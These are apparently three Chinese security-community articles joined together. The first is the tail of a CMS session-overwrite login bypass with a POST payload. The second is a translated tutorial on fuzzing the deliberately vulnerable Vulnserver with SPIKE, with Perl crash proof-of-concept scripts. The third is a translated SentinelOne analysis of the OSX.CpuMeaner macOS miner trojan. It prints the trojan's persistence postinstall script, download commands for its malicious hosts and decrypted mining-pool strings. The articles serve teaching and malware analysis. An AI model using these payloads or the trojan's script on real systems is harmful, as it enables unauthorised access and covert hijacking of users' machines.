dopost=login&userid=demo&pwd=demo&validate=XWTZ&_SESSION[sea_admin_id]=1&_SESSION[sea_ckstr]=xwtz
通过发送上面的数据包，我们就可以覆盖 **session** ，接着直接访问后台地址就可以越权登录了。
接下来就是找后台 **RCE** 了，直接打开文件监控程序，1分钟内找到 **RCE** 点，具体不分析了，没意思。
严重怀疑这个 **CMS** 把别的 **CMS** 漏洞抄了一遍？可以参考 **DedeCMS、DuomiCMS**
等的历史漏洞。再一个，即便是最新版的代码，虽然过滤了 **$_SESSION、$_FILES**
，但是我们前面说过，程序本身的校验逻辑顺序就有问题。我们只要找到 **session_start()** 的地方，就又可以覆盖 **$_SESSION**
，只不过 **$_SESSION['hashstr']** 我们无法预测罢了。 | 社区文章 |
原文链接：<https://resources.infosecinstitute.com/fuzzer-automation-with-spike/>
## 自动化SPIKE fuzz Vulnserver
为了满足实际fuzz工作的需要，我们得想出一个可以一个接一个地发送多个SPIKES的方法，同时记录足够的细节以便查看正在发送的内容，以及在fuzz过程中程序崩溃时，记录导致崩溃的输入。然后重新启动我们的程序并再次从中断位置开始fuzz测试。
幸运的是，通过对我们的fuzz测试过程进行一些修改就可以做到上述的要求。 以下是修改此fuzz测试的概述：
我们为每个要fuzz的消息创建.spk文件。
在这种情况下，我们将为每个支持的命令创建.spk文件，例如STATS，RTIME等。我们还将为这些SPIKE脚本提供连续的文件名，并在脚本中添加一些额外的命令，以便我们可以从终端获取更多得SPIKE信息。
然后，创建一个wrapper程序，使用generic_send_tcp解释器运行每个.spk文件。 理想情况下，wrapper
程序将允许我们从任何一个提供的SPIKE脚本文件开始，并且当generic_send_tcp送到数据给已关闭的套接字时（表示它正在向其发送数据失败），wrapper程序将停止并向我们提供一些有用的信息。
通过这个基本的框架设置，我们可以重复以下步骤，直到我们完成fuzz测试：
* 在调试器中启动我们的程序，并在Wireshark中开始新的数据包捕获
* 从我们中断的最后一个地方运行我们的wrapper程序，它将继续运行SPIKE脚本，直到它崩溃。
* 当wrapper程序停止时，我们可以检查调试器中程序的状态，通过wrapper 程序的命令行输出以及Wireshark生成的数据包捕获，来确定导致崩溃的输入。
* 一旦我们识别导致崩溃的数据，我们就可以将其插入到skeletion exploit中，再次利用这些崩溃数据运行目标程序，以查看崩溃是否可以轻松复制。
* 重复，直到我们的fuzz测试过程完成。
让我们从创建适当的SPIKE脚本文件开始。 在Linux fuzzing系统上创建一个新目录，并将以下内容写入放入“00help.spk”。
printf("HELP 00help.spk : "); //print to terminal command and filename
s_readline(); //print received line from server
s_string("HELP "); // send "HELP " to program
s_string_variable("COMMAND"); //send fuzzed string
我们为此SPIKE文件添加了一些新的代码。 一开始的printf函数只是使用C语言的printf函数将一些文本打印到终端。
如果fuzz过程恰好在此脚本上停止，可以用该文本信息将标识当时正在fuzz的命令。 我们在括号内的文本中粘贴我们fuzz的命令和脚本文件的文件名。
下一个新命令s_string将一个静态字符串“HELP”添加到发送的SPIKE中（注意HELP后的空格 -这很重要，这样我们的fuzz字符串就会被一个空格与HELP命令分开）。
此脚本的总体目的是在Vulnserver中为HELP命令的参数插入fuzz数据，同时为我们提供足够的上下文数据以查看运行时发生的情况。
我们将使用此基本模板创建SPIKE脚本，因此我们可以对每个命令进行fuzz处理。
查阅我们在分析阶段获得的支持命令列表，获取要添加的命令，并使用连续编号作为每个文件名的开头，例如：
01stats.spk，02rtime.spk，03ltime.spk。
这样我们可以定义在创建wrapper程序时定义fuzz的顺序，并为我们提供一种简单的方法来查看fuzz过程停止时停止的位置。
Vulnserver所支持命令：
HELP
STATS [stat_value]
RTIME [rtime_value]
LTIME [ltime_value]
SRUN [srun_value]
TRUN [trun_value]
GMON [gmon_value]
GDOG [gdog_value]
KSTET [kstet_value]
GTER [gter_value]
HTER [hter_value]
LTER [lter_value]
KSTAN [lstan_value]
EXIT
另一个示例，这是STATS命令（01stats.spk）的SPIKE脚本：
printf("STATS 01stats.spk : "); //print to terminal command and filename
s_readline(); //print received line from server
s_string("STATS "); // send "STATS " to program
s_string_variable("COMMAND"); //send fuzzed string
现在为每个其他命令创建一个SPIKE脚本。 完成后，您的文件夹中应包含以下文件。
为了获得与本指南相符的最佳结果，请确保每个支持的命令的SPIKE文件按照与下面相同的顺序连续命名。
这并不是因为在这个特定的顺序中对命令进行fuzz测试有任何固有的好处，这只是为了让你得到与我相同的结果。
root@bt4r1vm:~/fuzzing# ls *.spk
00help.spk 03ltime.spk 06gmon.spk 09gter.spk 12kstan.spk
01stats.spk 04srun.spk 07gdog.spk 10hter.spk 13exit.spk
02rtime.spk 05trun.spk 08kstet.spk 11lter.spk
现在我们有了SPIKE脚本文件，接下来准备一个wrapper程序来运行它们。 像下面这样的东西就足够了。
#!/usr/bin/perl
# Simple wrapper to run multiple .spk files using generic_send_tcp
$spikese = '/pentest/fuzzers/spike/generic_send_tcp';
if ($ARGV[4] eq '') {
die("Usage: $0 IP_ADDRESS PORT SKIPFILE SKIPVAR SKIPSTR\n\n");
}
$skipfiles = $ARGV[2];
@files = <*.spk>;
foreach $file (@files) {
if (! $skipfiles) {
if (system("$spikese $ARGV[0] $ARGV[1] $file $ARGV[3] $ARGV[4]") ) {
print "Stopped processing file $file\n";
exit(0);
}
} else {
$skipfiles--;
}
}
此wrapper程序将在当前工作目录中找到所有文件名以.spk结尾的文件，并将使用该文件作为输入脚本文件运行generic_send_tcp，并在命令行中提供IP地址，端口和SKIPVAR以及SKIPSTR的值变量。
此外，它还允许您为变量SKIPFILE提供一个值，该变量SKIPFILE对于此wrapper脚本是唯一的，它允许您跳过当前目录中的一定数量的.spk文件。
由于wrapper程序每次都会以相同的顺序读取.spk文件（假设它们的文件名保持不变），如果需要重新启动会话，这将允许您跳过已经fuzz测试过的命令/脚本文件。
如果您没有将BackTrack用于Linuxfuzz测试系统，则需要将包装程序中generic_send_tcp命令的路径更改为所在的相应文件路径。
您还需要确保遵循“要求和系统设置”部分中说明的有关修改SPIKE内容，以便程序可以在无法发送到套接字时以非零返回值终止。
如果没有这样做，generic_send_tcp将在会话关闭后继续尝试向该会话发送数据，直到它完成执行，由于此wrapper程序依赖于它在无法再发送时停止，因此请确保有进行上述操作。
将上面的内容写入Linux fuzzing系统上的fuzzer.pl并将该文件标记为可执行文件（chmod + x）。
在Wireshark（Capture menu->
Restart）中重新启动数据包捕获，使用“Delete”按钮清除Wireshark中的任何过滤器，并确保Vulnserver在我们的目标系统上的调试器中运行。
现在我们准备做更多的fuzz测试了。 如下运行fuzzer.pl：
root@bt4r1vm:~/fuzzing# ./fuzzer.pl 192.168.56.101 9999 0 0 0
开始运行，将大量数据喷射到终端。 如果你让它运行的时间足够长，你最终将看到程序终止，结束输出如下所示。
通过最后一行得知，在处理SPIKE脚本文件05trun.spk时，wrapper 脚本已经停止。 如果仔细查看崩溃后输出的最后一行，还应注意到缺少的内容 -欢迎消息尚未打印到终端。
Fuzzing Variable 0:200
TRUN 05trun.spk : Variablesize= 10000
Fuzzing Variable 0:201
TRUN 05trun.spk : Variablesize= 5000
Fuzzing Variable 0:202
Couldn't tcp connect to target
Stopped processing file 05trun.spk
在终端中向上滚动，直到看到最后一次打印出来的欢迎消息。 您应该看到它出现在终端看起来如下所示的位置。
[...SNIP...]
Total Number of Strings is 681
Fuzzing
Fuzzing Variable 0:0
TRUN 05trun.spk : line read=Welcome to Vulnerable Server! Enter HELP for help.
Fuzzing Variable 0:1
TRUN 05trun.spk : line read=Welcome to Vulnerable Server! Enter HELP for help.
Variablesize= 5004
Fuzzing Variable 0:2
TRUN 05trun.spk : Variablesize= 5005
Fuzzing Variable 0:3
TRUN 05trun.spk : Variablesize= 21
[...SNIP...]
您可以从上面的输出中看到，最后一次欢迎消息被打印到终端就在“Fuzzing Variable 0：1”出现之后。
显然，在文件05trun.spk中的这个特定fuzz字符串被发送到应用程序后，它不再能够发送欢迎消息。
查看调试器，看到如下所示的内容：
调试器向我们显示程序在执行[41414141]时遇到访问冲突，并且EIP寄存器指向41414141。我们似乎在Vulnserver程序中发现了一个错误，产生的原因和TRUN命令相关。
我们怎么知道fuzzer实际发送了什么内容来产生这个崩溃呢？ 为了找到答案，我们可以查看Wireshark。转到Wireshark捕获并选择最后一个数据包。
现在打开“Edit”菜单并选择“Find Packet”选项。 在Find
Packet窗口的Direction部分中选择Up单选按钮，然后在Find部分中选择String单选按钮并搜索字符串“Welcome”。
我们将找到将欢迎消息发送到客户端系统的最后一个会话。
点击Find，然后在右键单击的第一个数据包上选择Follow TCP Steam。 然后你应该看到类似下面的内容。
一个TRUN命令，后跟一些其他随机字符和一个非常长的“A”字符串。
如果您使用Follow TCP Stream窗口底部的下拉框仅显示从目标系统发送的数据（它应以蓝色突出显示），您还应注意，当发送欢迎消息时，没有其他数据 -例如 没有响应TRUN命令。
考虑到服务器发送的最后一条欢迎消息是在此会话中，并且没有对上面显示的TRUN命令进行回复，看起来这个TRUN命令是导致崩溃的原因。
（还有一条线索在调试器输出中 - 你发现了吗？）
使用Follow TCP Stream窗口底部的下拉框仅显示从我们的fuzz测试系统发送的数据（它是红色的），并使用另存为按钮将此内容保存到磁盘 -我将其保存到/TMP / TRUN-data.txt中。
现在尝试将该导致崩溃的数据发送到应用程序，以查看崩溃是否再次发生。
在目标系统上的Ollydbg中，使用Debug菜单中的Restart选项重新启动Vulnserver，然后按F9键（或Debug菜单，Run或工具栏上的Play按钮）重新启动它。
重新启动Wireshark捕获（Capture menu，Restart）并清除所有显示过滤器（使用显示过滤器工具栏上的清除按钮）。
通过查看SPIKE发送的TRUN命令发送的内容，它看起来只是在开头添加了一些其他字符的一长串“A”字符。让我们在Linux系统上使用sed来替换A字符，来查看此字符串中包含除“A”以外的字符。
root@bt4r1vm:~/fuzzing# sed 's/A//g' /tmp/trun-data.txt
TRUN /.:/root@bt4r1vm:~/fuzzing#
除了大写的“A”字符之外，文本“TRUN /.:/”似乎是唯一的东西。如下命令查看此数据的长度。
root@bt4r1vm:~/fuzzing# sed 's/A//g' /tmp/trun-data.txt | wc -m
9
此数据长度为9个字符。 现在让我们检查整个文件的长度 - 包括“A”字符。
root@bt4r1vm:~/fuzzing# wc -m /tmp/trun-data.txt
5009 /tmp/trun-data.txt
整个是5009个字符长。 由字符串“TRUN /.:/”加上5000“A”字符组成。
我们可以使用以下Perl代码将这些数据发送到程序。
#!/usr/bin/perl
use IO::Socket;
if ($ARGV[1] eq '') {
die("Usage: $0 IP_ADDRESS PORT\n\n"); # help message shown if too few variables are provided
}
$baddata = "TRUN /.:/"; # sets variable $badata to "TRUN /.:/"
$baddata .= "A" x 5000; # appends 5000 "A" characters to $baddata variable
$socket = IO::Socket::INET->new( # creates a new socket
Proto => "tcp",
PeerAddr => "$ARGV[0]", # IP address - command line variable 1
PeerPort => "$ARGV[1]" # TCP port number - command line variable 2
) or die "Cannot connect to $ARGV[0]:$ARGV[1]"; # error shown if socket connection cannot be established
$socket->recv($serverdata, 1024); # receives 1024 bytes of data from socket to capture Welcome message
print "$serverdata"; # prints out received data
$socket->send($baddata); # sends data in $baddata over socket
此代码实质上将相应的fuzz字符串存储在变量$
baddata中，TCP套接字设置为命令行中指定的IP地址和端口，通过套接字接收并打印“欢迎”消息，并将fuzz字符串发送到服务器。
将此代码保存到“trun.pl”中，将该文件标记为可执行文件（chmod + x trun.pl）并运行它。
root@bt4r1vm:~/fuzzing# ./trun.pl 192.168.56.101 9999
Welcome to Vulnerable Server! Enter HELP for help.
如果检查目标系统上的调试器，则应该看到相同的访问冲突。 我们发现了一个导致应用程序出错的输入值！我们发送的输入数据已劫持EIP寄存器。
所以现在我们已经找到了程序中的第一个错误，我们可以继续fuzz我们识别的其余输入向量。
在调试器中重新启动Wireshark捕获和Vulnserver，并运行wrapper 程序，使用值6作为SKIPFILE变量。
这将跳过文件夹中的前6个SPIKE脚本文件并且将从7开始，在我们的例子中应该是文件06gmon.spk。
root@bt4r1vm:~/fuzzing# ./fuzzer.pl 192.168.56.101 9999 6 0 0
如果你在启动此命令后密切关注调试器，你会发现几乎立即发生崩溃，但SPIKE会在最终停止之前继续运行一段时间。 终端中的最后几行输出如下所示：
[...SNIP...]
GMON 06gmon.spk : Variablesize= 10000
Fuzzing Variable 0:201
GMON 06gmon.spk : Variablesize= 5000
Fuzzing Variable 0:202
Couldn’t tcp connect to target
Stopped processing file 06gmon.spk
看起来06gmon.spk脚本生成的fuzz输入之一已在程序中生成错误。 向上滚动终端中，会注意到“欢迎”消息在一段时间后停止显示。
转到Wireshark捕获并使用“Edit”菜单，“Find Packet”选项从最后一个数据包向上搜索字符串“Welcome”，如前所述，Follow
TCP Stream。 你应该注意到一些熟悉的东西。 发送到服务器的内容似乎导致崩溃的是GMON命令......后跟一些其他随机字符和一长串“A”。
修改之前的POC（perl）脚本，使操作变更为GMON，并命名为gmon.pl:
#!/usr/bin/perl
use IO::Socket;
if ($ARGV[1] eq '') {
die("Usage: $0 IP_ADDRESS PORT\n\n");
}
$baddata = "GMON /.:/";
$baddata .= "A" x 5000;
$socket = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => "$ARGV[0]",
PeerPort => "$ARGV[1]"
) or die "Cannot connect to $ARGV[0]:$ARGV[1]";
$socket->recv($serverdata, 1024);
print "$serverdata";
$socket->send($baddata);
将此文件标记为可执行文件，并针对您的Vulnserver实例运行它（确保首先在调试器中重新启动它）。
root@bt4r1vm:~/fuzzing# ./gmon.pl 192.168.56.101 9999
Welcome to Vulnerable Server! Enter HELP for help.
崩溃应该再次发生。 我们找到了另一个触发Vulnserver中的另一个漏洞！
在这一点上，我将不做进一步的讨论。 我鼓励读者继续，使用目前为止生成的每个SPIKE脚本fuzz Vulnserver，并找到了程序中的其他漏洞。
希望到目前为止提供的示例足以向你展示这个模糊测试过程的工作原理。 总而言之，我们基本上使用我们的wrapper
脚本以定义的顺序迭代多个SPIKE脚本，当这些脚本发现应用程序中的错误时，我们识别触发错误的输入，手动确认，然后使用我们的wrapper
脚本来继续下一个脚本。
## 总结
本文演示了如何使用SPIKE脚本对Vulnserver应用程序进行fuzz测试，以查找可利用漏洞的过程。虽然我们使用了一个故意编写为可利用的应用程序，作为fuzz目标，但是我们分析程序支持的命令和用于与之通信的方法，fuzz过程等内容适用于许多其他应用程序。 | 社区文章 |
# OSX.CpuMeaner：针对macOS平台的新型挖矿木马
|
##### 译文声明
本文是翻译文章，文章原作者 Arnaud Abbati，文章来源：sentinelone.com
原文地址：<https://www.sentinelone.com/blog/osx-cpumeaner-miner-trojan-software-pirates/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
##
## 一、前言
在本文中，我们分析了针对macOS平台的一款新型密币（cryptocurrency）挖矿木马。这个恶意软件伪装成盗版应用程序，使用用户硬件来悄悄挖掘门罗币（Monero）。
虽然这款恶意软件设计思路与[OSX.Pwnet](https://www.sentinelone.com/blog/osx-pwnet-a-csgo-hack-and-sneaky-miner/)类似，但具体实现更贴近于广告软件这一类别。
##
## 二、感染途径
使用盗版软件的个人用户很容易栽在恶意软件身上，这些恶意软件的来源千奇百怪，可以来自于[Google搜索](https://lmgtfy.com/?q=sketch+mac+crack)，也可以来自于包含[恶意链接](http://crackedmine.com/sketch-crack-mac-free-2017-here/)的YouTube[视频](https://www.youtube.com/watch?v=F8IlSEie6iM)描述。在面对欺诈型[技术支持攻击](https://en.wikipedia.org/wiki/Technical_support_scam)、伪造的Flash播放器以及热情推荐的病毒扫描服务时，受害者最终可能会安装恶意软件包。例如，某个用户正在寻找破解版的Sketch应用，相关网络行为如下所示：
$ curl -svJO http://jumpcash.xyz/download.php -G -d e=pkg -d tag=mosx3 -d clickid=2305343 -d key="Sketch 47 Crack"
* Trying 46.30.45.236...
* Connected to jumpcash.xyz (46.30.45.236) port 80 (#0)
> GET /download.php?e=pkg&tag=mosx3&clickid=2305343&key=Sketch 47 Crack HTTP/1.1
> Host: jumpcash.xyz
> User-Agent: curl/7.43.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Server: nginx/1.4.6 (Ubuntu)
< Date: Tue, 14 Nov 2017 10:19:17 GMT
< Content-Type: application/octet-stream
< Content-Length: 169267
< Connection: keep-alive
< X-Powered-By: PHP/5.5.9-1ubuntu4.21
< Content-Description: File Transfer
< Content-Disposition: attachment; filename=Sketch_47_Crack-2305343-823868397374412531.pkg
< Content-Transfer-Encoding: binary
< Expires: 0
< Cache-Control: must-revalidate
< Pragma: public
<
{ [936 bytes data]
* Connection #0 to host jumpcash.xyz left intact
$ shasum -a 256 Sketch_47_Crack-2305343-823868397374412531.pkg
7a6cc593a8fb2853b817013e28681fa1698fd59d0cea69ba06b7a4b6dc3d5c80 Sketch_47_Crack-2305343-823868397374412531.pkg
目标文件名由网页请求中的`key`及`clickid`参数生成而得。当然，用户下载的软件包实际上并不是盗版软件。
我们也能在一个伪造的法国种子（torrent）[站点](https://frtorrentz.fr/)上找到这种恶意软件：
有一些用户曾在Apple论坛上抱怨过系统被安装上[xmemapp](https://discussions.apple.com/thread/8124632)以及[cpucooler](https://discussions.apple.com/thread/8148594)程序。根据[VirusTotal](https://www.virustotal.com/file/d15a51bb1a88a8906a997a0d4c0d3fb35ddd64b722af23120600eeea989ecef9/analysis/1509379736/)的统计结果，该恶意软件自2017年9月下旬以来已经处于活跃状态，并且不会被任何反病毒软件检测出来（
**检测率为0** ）。
##
## 三、软件包分析
在本文撰写过程中，托管服务器上总共包含3款软件包，其标签分别为mosx1.pkg、mosx2.pkg以及mosx3.pkg：
$ for tag in mosx{1,2,3} ; do curl -s -o $tag.pkg http://jumpcash.xyz/download.php -G -d e=pkg -d tag=$tag ; done
$ shasum -a 256 mosx*.pkg
d15a51bb1a88a8906a997a0d4c0d3fb35ddd64b722af23120600eeea989ecef9 mosx1.pkg
c3c0da504e40359ce8247b912cbff00cbd32a2222cb53a6bd30f2e44f7781049 mosx2.pkg
7a6cc593a8fb2853b817013e28681fa1698fd59d0cea69ba06b7a4b6dc3d5c80 mosx3.pkg
这些软件包都经过同一个开发者身份证书签名。
$ ls mosx*.pkg | xargs -L 1 pkgutil --check-signature | awk '/Developer ID Installer/'
1. Developer ID Installer: Artur Nurgaliev (DEWCRD3789)
1. Developer ID Installer: Artur Nurgaliev (DEWCRD3789)
1. Developer ID Installer: Artur Nurgaliev (DEWCRD3789)
Apple已于2017年11月10撤销了该证书：
$ ls mosx*.pkg | xargs -L 1 spctl --assess -v --type install
mosx1.pkg: CSSMERR_TP_CERT_REVOKED
mosx2.pkg: CSSMERR_TP_CERT_REVOKED
mosx3.pkg: CSSMERR_TP_CERT_REVOKED
标记为 _mosx1_ 的软件包会释放`xmemapp`载荷程序，而标记为 _mosx2_ 或者 _mosx3_
的软件包会释放`cpucooler`载荷程序:
$ for pkg in mosx*.pkg ; do echo $pkg: $(pkgutil --payload-files $pkg | egrep -v -e ^.$) ; done
mosx1.pkg: ./xmemapp
mosx2.pkg: ./cpucooler
mosx3.pkg: ./cpucooler
这些载荷文件的哈希值并不相同：
$ for tag in mosx{1,2,3} ; do pkgutil --expand $tag.pkg $tag && tar xf $tag/Payload -C $tag ; done
$ shasum -a 256 mosx*/{x,c}*
d196aba4d59b132fc9cd6f6ba627166a8eb6631017636b0ed4df7fd0260524a5 mosx1/xmemapp
47e523a8b796c27b6c0fe91a4781aa7b47c8d66ddb75117d3f3283a6079ff128 mosx2/cpucooler
5c41ab1d3aaa33e021eb73c1a58894df8e679366d2f03663b8f1029a0dc80f26 mosx3/cpucooler
程序也没有经过代码签名（code-signed）：
$ ls mosx*/{x,c}* | xargs -L 1 codesign -dvvv
mosx1/xmemapp: code object is not signed at all
mosx2/cpucooler: code object is not signed at all
mosx3/cpucooler: code object is not signed at all
这些程序的安装路径也各不相同：
$ for tag in mosx{1,2,3}; do echo $tag: $(xmllint --xpath "string(//pkg-info/@install-location)" $tag/PackageInfo) ; done
mosx1: /Library/Application Support/XMemApp
mosx2: /Library/Application Support/CpuCooler
mosx3: /Library/Application Support/CpuCooler
安装完毕后，软件包会运行`postinstall`脚本，该脚本的功能包括：
1、将 _launchd.plist_ 文件写入`/Library/LaunchAgents`目录中，以实现本地持久化目的。
2、加载启动代理（Launch Agent）。
3、等待10秒，然后终止与当前可执行文件名匹配的所有进程。
4、在后台等待60秒，以软件包名为参数运行可执行文件。
mosx2以及mosx3软件包所使用的`postinstall`脚本如下所示：
#!/bin/bash
IDENTIFIER="com.osxext.cpucooler"
INSTALL_LOCATION="/Library/Application Support/CpuCooler/cpucooler"
LAUNCH_AGENT_PLIST="/Library/LaunchAgents/$IDENTIFIER.plist"
echo '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>'$IDENTIFIER'</string>
<key>Program</key>
<string>'$INSTALL_LOCATION'</string>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>' > "$LAUNCH_AGENT_PLIST"
FILENAME=$(basename "$1")
/bin/launchctl load "$LAUNCH_AGENT_PLIST"
sleep 10 && sudo pkill cpucooler
sleep 60 && /Library/Application Support/CpuCooler/cpucooler "$FILENAME" &
exit
##
## 四、可执行文件分析
`xmemapp`以及`cpucooler`实际上是定制化的[2.3.1版](https://github.com/xmrig/xmrig/tree/v2.3.1)的[XMRig](https://github.com/xmrig/xmrig)
（XMRig是一款开源的门罗币CPU挖矿软件）。
作者在代码中添加了一些函数，以还原某些混淆字符串，并将结果反馈至服务器：
Postback::sendPostback(std::string const&);
Utils::Utils();
Utils::encdec(std::string);
Utils::exec(std::string const&);
Utils::getNumber();
Utils::hex_to_string(std::string const&);
Utils::jenkins_one_at_a_time_hash(std::string, unsigned long);
Utils::str_replace(std::string, std::string const&, std::string const&);
Utils::~Utils();
main()函数中还会设置一些默认参数。这些参数被硬编码在程序中，包括如下几类：
1、挖矿服务器的URL地址，用`-o`参数来设定；
2、挖矿服务器的用户名，用`-u`参数来设定；
3、挖矿服务器的密码，用`-p x`参数来设定；
4、使用`--safe`参数来安全调整当前CPU的线程数以及av（algorithm variation，具体使用的算法）参数；
5、使用`-t 2`参数来设定挖矿程序所使用的线程数。
在`Utils::encdec()`函数中，程序使用`Utils::hex_to_string()`来解码十六进制形式的字符串，然后将解码结果与`0x4e`进行异或（XOR），得到解密后的结果。
$ strings mosx3/cpucooler | egrep -e ^[[:xdigit:]]+$ -m 5
27213c2b296e633c2a7f6e63397e6e632d6e0f3e3e222b0f060d070a273d250a3c27382b3c6e326e2f39256e69611d2b3c272f226e003b232c2b3c6135293d3b2c666c126c6c626e6c6c626e6a7a67753e3c27203a6e6a7a3369
243b233e2d2f3d2660363734
23213d367d
3d3a3c2f3a3b23653a2d3e74616136233c603e212122602327202b3c292f3a2b602d2123747a7b7b787e
232f3c3a27202439262b2b3a0e232f2722602d2123
$ ../decrypt_strings.py mosx1/xmemapp mosx{2,3}/cpucooler
Decrypted strings for: mosx1/xmemapp
ioreg -rd1 -w0 -c AppleAHCIDiskDriver | awk '/Serial Number/{gsub(""", "", $4);print $4}'
jumpcash.xyz
mosx1
stratum+tcp://xmr.pool.minergate.com:45560
[email protected]
Decrypted strings for: mosx2/cpucooler
ioreg -rd1 -w0 -c AppleAHCIDiskDriver | awk '/Serial Number/{gsub(""", "", $4);print $4}'
jumpcash.xyz
mosx2
stratum+tcp://xmr.pool.minergate.com:45560
[email protected]
Decrypted strings for: mosx3/cpucooler
ioreg -rd1 -w0 -c AppleAHCIDiskDriver | awk '/Serial Number/{gsub(""", "", $4);print $4}'
jumpcash.xyz
mosx3
stratum+tcp://xmr.pool.minergate.com:45560
[email protected]
这些程序使用2个线程（即200%的CPU使用率）连接到[MinerGate的XMR矿池](https://minergate.com/pool-stats/xmr)，挖矿所使用的账号为`[[email protected]](mailto:[email protected])`（mosx1以及mosx2）以及
`[[email protected]](mailto:[email protected])`（mosx3）。
当使用真实的参数来运行时（如通过`postinstall`脚本来运行时），`main()`函数会在第一个参数（软件包名称）中查找`-`及`.`符号，找到这些符号后，就会将子字符串作为参数来调用`Postback::sendPostback()`函数。
`Postback::sendPostback()` 会将安装数据发送给经过解码的某个域名，请求网址中带有通过
`Utils::getNumber()`生成的参数。
$ curl -A MNR -w "%{http_code}" http://jumpcash.xyz/pb.php -G -d t=mosx3 -d mid=2162179746 -d i=2305343-823868397374412531
200
`Utils::getNumber()`函数会通过 `Utils::exec()`来运行解码后的
`ioreg`命令。得到命令输出结果后，使用Jenkins的[一次性哈希算法](https://en.wikipedia.org/wiki/Jenkins_hash_function#one-at-a-time)生成该结果的哈希值（十进制形式），该哈希值作为Web请求参数加以使用。
有趣的是，程序中并没有使用`Utils::str_replace()`函数以及`Utils::jenkins_one_at_a_time_hash()`函数（这些代码属于僵尸代码）。
##
## 五、MNR2变种分析
`jumpcash.xyz`域名取消服务后，又涌现出一大批新的变种，这些变种托管于其他网站，如[网站1](https://crackprowin.com/sketch-crack-mac/)及[网站2](http://softwarestrack.com/sketch-42-crack-keygen/)。
$ for tag in mosx{2,3,np} ; do curl -s -o $tag.pkg http://storekit.xyz/api/v1/download.php -G -d e=pkg -d tag=$tag ; done
$ shasum -a 256 *.pkg
b6cbc89d0b5a8938c74c1f601a2b7a88b4a3391bf808d2c028885003a16d9b5a mosx2.pkg
f1da940d6f417ef0001595ed816889ecdcacb41a3d6c921b6e039dc30e35ab8a mosx3.pkg
6e0ec2d6754138b5971f417176136a7becfd75359919a8a5a3b4233aeaade9b3 mosxnp.pkg
这些软件包使用的是另一个开发者身份（该身份很快就被撤销掉）：
$ ls mosx*.pkg | xargs -L 1 pkgutil --check-signature | awk '/Developer ID Installer/'
1. Developer ID Installer: Adam Kortney (9ADZ437492)
1. Developer ID Installer: Adam Kortney (9ADZ437492)
1. Developer ID Installer: Adam Kortney (9ADZ437492)
$ ls mosx*.pkg | xargs -L 1 spctl --assess -v --type install
mosx2.pkg: accepted
source=Developer ID
mosx3.pkg: accepted
source=Developer ID
mosxnp.pkg: accepted
source=Developer ID
同样，Apple于2017年11月22日吊销了该证书：
这些软件包安装的可执行文件使用了新的名称以及路径：
$ for pkg in mosx*.pkg ; do echo $pkg: $(pkgutil --payload-files $pkg | egrep -v -e ^.$) ; done
mosx2.pkg: ./mxcpu
mosx3.pkg: ./mxzcpu
mosxnp.pkg: ./moszcpu
$ for tag in mosx{2,3,np} ; do pkgutil --expand $tag.pkg $tag && tar xf $tag/Payload -C $tag ; done
$ shasum -a 256 mosx*/m*cpu
91b929d2470e3507b5faf5f12adb35046d96777e8b55b28b8e859a30924168b2 mosx2/mxcpu
b636b2cc15925e68c200449d5d78a9e169af379e4e3b007075ded00d777ffdc7 mosx3/mxzcpu
9a8b16f0a44cd63bf525142519b23481d4dcfd84d2dae02a0b0b9cb5caf1c147 mosxnp/moszcpu
$ for tag in mosx{2,3,np}; do echo $tag: $(xmllint --xpath "string(//pkg-info/@install-location)" $tag/PackageInfo) ; done
mosx2: /Library/Application Support/mxcpu
mosx3: /Library/Application Support/mxzcpu
mosxnp: /Library/Application Support/moszcpu
新软件包使用了一个`preinstall`脚本，如果当前主机已经感染老的变种时，该脚本会生成一个错误代码，退出执行流程。
`postinstall`脚本也有所不同，新版的工作流程如下：
1、将 _launchd.plist_ 文件写入`/Library/LaunchAgents`目录中，以达成本地持久化目的。
2、如果当前主机已被木马感染，则退出执行。
3、将软件包名写入`/Library/Application Support/mosxnp/info`文件中。
4、加载并启动启动代理（Launch Agent）。
5、等待5秒钟，检查程序是否已经运行。
6、如果尚未运行，后台等待30秒，再次以软件包名为参数执行程序。
7、将安装状态发送给远程服务器。
新版程序基于[2.4.2](https://github.com/xmrig/xmrig/tree/v2.4.2)版的XMRig来开发。其中使用的自定义函数与之前版本类似。`main()`函数现在会从`/Library/Application
Support/mosxnp/info`文件中读取软件包名。
新版程序的目标操作系统为macOS Sierra或者更高版本（10.12+），在低版本系统上运行时会崩溃。
$ uname -v
Darwin Kernel Version 15.6.0: Mon Aug 29 20:21:34 PDT 2016; root:xnu-3248.60.11~1/RELEASE_X86_64
$ ./mxzcpu
dyld: lazy symbol binding failed: Symbol not found: _clock_gettime
Referenced from: /Library/Application Support/mxzcpu/./mxzcpu (which was built for Mac OS X 10.12)
Expected in: /usr/lib/libSystem.B.dylib
dyld: Symbol not found: _clock_gettime
Referenced from: /Library/Application Support/mxzcpu/./mxzcpu (which was built for Mac OS X 10.12)
Expected in: /usr/lib/libSystem.B.dylib
Trace/BPT trap: 5
这么做也能理解，因为macOS
Sierra系统需要搭配启用[SSE4](https://en.wikipedia.org/wiki/SSE4)功能的处理器，采用这种指令集时，程序的挖矿速度会更快。
解密后的字符串如下所示：
$ ../decrypt_strings.py mosx*/m*cpu
Decrypted strings for: mosx2/mxcpu
storekit.xyz
mosx2
ioreg -rd1 -w0 -c AppleAHCIDiskDriver | awk '/Serial Number/{gsub(""", "", $4);print $4}'
/Library/Application Support/mxcpu/info
stratum+tcp://xmr.pool.minergate.com:45560
[email protected]
Decrypted strings for: mosx3/mxzcpu
storekit.xyz
mosx3
ioreg -rd1 -w0 -c AppleAHCIDiskDriver | awk '/Serial Number/{gsub(""", "", $4);print $4}'
/Library/Application Support/mxzcpu/info
stratum+tcp://xmr.pool.minergate.com:45560
[email protected]
Decrypted strings for: mosxnp/moszcpu
storekit.xyz
mosxnp
ioreg -rd1 -w0 -c AppleAHCIDiskDriver | awk '/Serial Number/{gsub(""", "", $4);print $4}'
/Library/Application Support/moszcpu/info
stratum+tcp://xmr-eu1.nanopool.org:14444
